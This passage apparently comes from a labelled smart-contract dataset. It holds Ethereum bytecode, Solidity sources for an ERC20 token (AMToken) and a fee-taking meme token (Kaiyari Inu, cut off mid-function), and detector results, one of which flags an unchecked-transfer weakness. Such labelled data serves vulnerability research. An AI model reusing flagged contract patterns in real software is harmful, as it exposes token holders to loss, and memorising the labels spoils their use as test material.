490919063ffffffff16565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506125d781600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461227290919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516126779190612cf3565b60405180910390a3600060115411156126955761269486856126fe565b5b600060125411156126ab576126aa8685612890565b5b50505b50505050565b60006126f683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061220e565b905092915050565b6000612729600e5461271b60115485611b7d90919063ffffffff16565b611bf890919063ffffffff16565b905061279f8160016000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461227290919063ffffffff16565b60016000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516128839190612cf3565b60405180910390a3505050565b60006128bb600e546128ad60125485611b7d90919063ffffffff16565b611bf890919063ffffffff16565b90506129318160016000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461227290919063ffffffff16565b60016000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612a159190612cf3565b60405180910390a3505050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612a5282612a27565b9050919050565b6000612a6482612a47565b9050919050565b612a7481612a59565b8114612a7f57600080fd5b50565b600081359050612a9181612a6b565b92915050565b612aa081612a47565b8114612aab57600080fd5b50565b600081359050612abd81612a97565b92915050565b60008060408385031215612ada57612ad9612a22565b5b6000612ae885828601612a82565b9250506020612af985828601612aae565b9150509250929050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612b3d578082015181840152602081019050612b22565b83811115612b4c576000848401525b50505050565b6000601f19601f8301169050919050565b6000612b6e82612b03565b612b788185612b0e565b9350612b88818560208601612b1f565b612b9181612b52565b840191505092915050565b60006020820190508181036000830152612bb68184612b63565b905092915050565b6000819050919050565b6000612be3612bde612bd984612a27565b612bbe565b612a27565b9050919050565b6000612bf582612bc8565b9050919050565b6000612c0782612bea565b9050919050565b612c1781612bfc565b82525050565b6000602082019050612c326000830184612c0e565b92915050565b6000819050919050565b612c4b81612c38565b8114612c5657600080fd5b50565b600081359050612c6881612c42565b92915050565b60008060408385031215612c8557612c84612a22565b5b6000612c9385828601612aae565b9250506020612ca485828601612c59565b9150509250929050565b60008115159050919050565b612cc381612cae565b82525050565b6000602082019050612cde6000830184612cba565b92915050565b612ced81612c38565b82525050565b6000602082019050612d086000830184612ce4565b92915050565b612d1781612a47565b82525050565b6000602082019050612d326000830184612d0e565b92915050565b600080600060608486031215612d5157612d50612a22565b5b6000612d5f86828701612aae565b9350506020612d7086828701612aae565b9250506040612d8186828701612c59565b9150509250925092565b600060ff82169050919050565b612da181612d8b565b82525050565b6000602082019050612dbc6000830184612d98565b92915050565b600060208284031215612dd857612dd7612a22565b5b6000612de684828501612aae565b91505092915050565b60008060408385031215612e0657612e05612a22565b5b6000612e1485828601612c59565b9250506020612e2585828601612c59565b9150509250929050565b612e3881612cae565b8114612e4357600080fd5b50565b600081359050612e5581612e2f565b92915050565b60008060408385031215612e7257612e71612a22565b5b6000612e8085828601612aae565b9250506020612e9185828601612e46565b9150509250929050565b6000612ea682612a27565b9050919050565b612eb681612e9b565b8114612ec157600080fd5b50565b600081359050612ed381612ead565b92915050565b60008060408385031215612ef057612eef612a22565b5b6000612efe85828601612ec4565b9250506020612f0f85828601612c59565b9150509250929050565b600060208284031215612f2f57612f2e612a22565b5b6000612f3d84828501612e46565b91505092915050565b6000612f5182612a47565b9050919050565b612f6181612f46565b8114612f6c57600080fd5b50565b600081359050612f7e81612f58565b92915050565b600080600060608486031215612f9d57612f9c612a22565b5b6000612fab86828701612f6f565b9350506020612fbc86828701612aae565b9250506040612fcd86828701612c59565b9150509250925092565b60008060408385031215612fee57612fed612a22565b5b6000612ffc85828601612ec4565b925050602061300d85828601612ec4565b9150509250929050565b6000806040838503121561302e5761302d612a22565b5b600061303c85828601612aae565b925050602061304d85828601612aae565b9150509250929050565b60006020828403121561306d5761306c612a22565b5b600061307b84828501612c59565b91505092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006130ba602083612b0e565b91506130c582613084565b602082019050919050565b600060208201905081810360008301526130e9816130ad565b9050919050565b7f4144414d414e5449554d3a20416c726561647920656e61626c65640000000000600082015250565b6000613126601b83612b0e565b9150613131826130f0565b602082019050919050565b6000602082019050818103600083015261315581613119565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806131a357607f821691505b602082108114156131b7576131b661315c565b5b50919050565b60006040820190506131d26000830185612d0e565b6131df6020830184612ce4565b9392505050565b6000815190506131f581612e2f565b92915050565b60006020828403121561321157613210612a22565b5b600061321f848285016131e6565b91505092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613284602683612b0e565b915061328f82613228565b604082019050919050565b600060208201905081810360008301526132b381613277565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006132f482612c38565b91506132ff83612c38565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613338576133376132ba565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061337d82612c38565b915061338883612c38565b92508261339857613397613343565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006133ff602183612b0e565b915061340a826133a3565b604082019050919050565b6000602082019050818103600083015261342e816133f2565b9050919050565b7f4144414d414e5449554d3a20617070726f76652066726f6d20746865207a657260008201527f6f20616464726573730000000000000000000000000000000000000000000000602082015250565b6000613491602983612b0e565b915061349c82613435565b604082019050919050565b600060208201905081810360008301526134c081613484565b9050919050565b7f4144414d414e5449554d3a20617070726f766520746f20746865207a65726f2060008201527f6164647265737300000000000000000000000000000000000000000000000000602082015250565b6000613523602783612b0e565b915061352e826134c7565b604082019050919050565b6000602082019050818103600083015261355281613516565b9050919050565b7f4144414d414e5449554d3a207472616e736665722066726f6d20746865207a6560008201527f726f206164647265737300000000000000000000000000000000000000000000602082015250565b60006135b5602a83612b0e565b91506135c082613559565b604082019050919050565b600060208201905081810360008301526135e4816135a8565b9050919050565b7f4144414d414e5449554d3a207472616e7366657220746f20746865207a65726f60008201527f2061646472657373000000000000000000000000000000000000000000000000602082015250565b6000613647602883612b0e565b9150613652826135eb565b604082019050919050565b600060208201905081810360008301526136768161363a565b9050919050565b7f4144414d414e5449554d3a20416d6f756e74206d75737420626520677265617460008201527f6572207468616e207a65726f0000000000000000000000000000000000000000602082015250565b60006136d9602c83612b0e565b91506136e48261367d565b604082019050919050565b60006020820190508181036000830152613708816136cc565b9050919050565b7f4144414d414e5449554d3a20616d6f756e74206578636565646564206d61782060008201527f6c696d6974000000000000000000000000000000000000000000000000000000602082015250565b600061376b602583612b0e565b91506137768261370f565b604082019050919050565b6000602082019050818103600083015261379a8161375e565b9050919050565b7f4144414d414e5449554d3a2054726164696e67206973206e6f7420656e61626c60008201527f6564207965740000000000000000000000000000000000000000000000000000602082015250565b60006137fd602683612b0e565b9150613808826137a1565b604082019050919050565b6000602082019050818103600083015261382c816137f0565b9050919050565b600061383e82612c38565b915061384983612c38565b92508282101561385c5761385b6132ba565b5b828203905092915050565b600061387282612c38565b915061387d83612c38565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156138b2576138b16132ba565b5b828201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006138f3601b83612b0e565b91506138fe826138bd565b602082019050919050565b60006020820190508181036000830152613922816138e6565b905091905056fe4144414d414e5449554d3a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f4144414d414e5449554d3a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220db10c29a8dbf40dedb83412154b3493bac6f83ccd07537dea7e082a140f8edc764736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
2,707
0xe73346e3d90707acd1d35d7c056e2ec8f03209d3
pragma solidity ^0.4.24; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * See https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/issues/20 * Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title AMToken * @dev Very simple ERC20 Token example, where all tokens are pre-assigned to the creator. * Note they can later distribute these tokens as they wish using `transfer` and other * `StandardToken` functions. */ contract AMToken is StandardToken { string public constant name = "Assets And Merchandise Token"; // solium-disable-line uppercase string public constant symbol = "AMT"; // solium-disable-line uppercase uint8 public constant decimals = 18; // solium-disable-line uppercase uint256 public constant INITIAL_SUPPLY = 2 * (10 ** 9) * (10 ** uint256(decimals)); /** * @dev Constructor that gives msg.sender all of existing tokens. */ constructor() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; emit Transfer(address(0), msg.sender, INITIAL_SUPPLY); } }
0x6080604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100bf578063095ea7b31461014f57806318160ddd146101b457806323b872dd146101df5780632ff2e9dc14610264578063313ce5671461028f57806366188463146102c057806370a082311461032557806395d89b411461037c578063a9059cbb1461040c578063d73dd62314610471578063dd62ed3e146104d6575b600080fd5b3480156100cb57600080fd5b506100d461054d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101145780820151818401526020810190506100f9565b50505050905090810190601f1680156101415780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015b57600080fd5b5061019a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610586565b604051808215151515815260200191505060405180910390f35b3480156101c057600080fd5b506101c9610678565b6040518082815260200191505060405180910390f35b3480156101eb57600080fd5b5061024a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610682565b604051808215151515815260200191505060405180910390f35b34801561027057600080fd5b50610279610a3c565b6040518082815260200191505060405180910390f35b34801561029b57600080fd5b506102a4610a4d565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102cc57600080fd5b5061030b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a52565b604051808215151515815260200191505060405180910390f35b34801561033157600080fd5b50610366600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ce3565b6040518082815260200191505060405180910390f35b34801561038857600080fd5b50610391610d2b565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103d15780820151818401526020810190506103b6565b50505050905090810190601f1680156103fe5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561041857600080fd5b50610457600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d64565b604051808215151515815260200191505060405180910390f35b34801561047d57600080fd5b506104bc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f83565b604051808215151515815260200191505060405180910390f35b3480156104e257600080fd5b50610537600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061117f565b6040518082815260200191505060405180910390f35b6040805190810160405280601c81526020017f41737365747320416e64204d65726368616e6469736520546f6b656e0000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156106bf57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561070c57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561079757600080fd5b6107e8826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461120690919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061087b826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461121f90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061094c82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461120690919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b601260ff16600a0a63773594000281565b601281565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610b63576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610bf7565b610b76838261120690919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6040805190810160405280600381526020017f414d54000000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610da157600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610dee57600080fd5b610e3f826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461120690919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ed2826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461121f90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061101482600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461121f90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600082821115151561121457fe5b818303905092915050565b6000818301905082811015151561123257fe5b809050929150505600a165627a7a72305820ebd79463617f86fc373cf48b330a80ff79acc58e6e7d1d5f9e465fce1bacf3420029
{"success": true, "error": null, "results": {}}
2,708
0x0885eea126e237f57cf5969b2fbf5e8abf44ec5f
/** *Submitted for verification at Etherscan.io on 2022-04-27 */ /** https://kaiyariinu.com/ */ pragma solidity 0.8.4; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract KaiyariInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet; string private constant _name = "Kaiyari Inu"; string private constant _symbol = "KAIYARI"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 private _maxWalletSize = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet = payable(0xbdC1104e91e8678C29E3d93310504b6CD29b5546); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 0; _feeAddr2 = 10; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = 10; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); 